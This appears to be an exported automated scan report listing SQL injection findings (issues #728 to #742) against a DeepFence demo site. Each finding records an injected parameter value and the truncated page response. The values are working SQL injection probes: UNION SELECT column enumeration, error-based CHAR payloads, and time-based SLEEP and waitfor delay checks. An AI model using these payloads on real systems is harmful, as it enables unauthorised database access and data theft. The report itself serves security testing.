cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #728
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 8#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #729
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(
116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #730
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io``
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #731
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)+CHAR(113)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #732
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #733
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language=
"javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet"
src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-
bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- 
Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ
bWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQ
IoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #734
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io " or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #735
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #736
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 25#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #737
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #738
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #739
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #740
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #741
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io waitfor delay '00:00:05'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #742
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io ' GROUP BY columnnames having 1=1 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
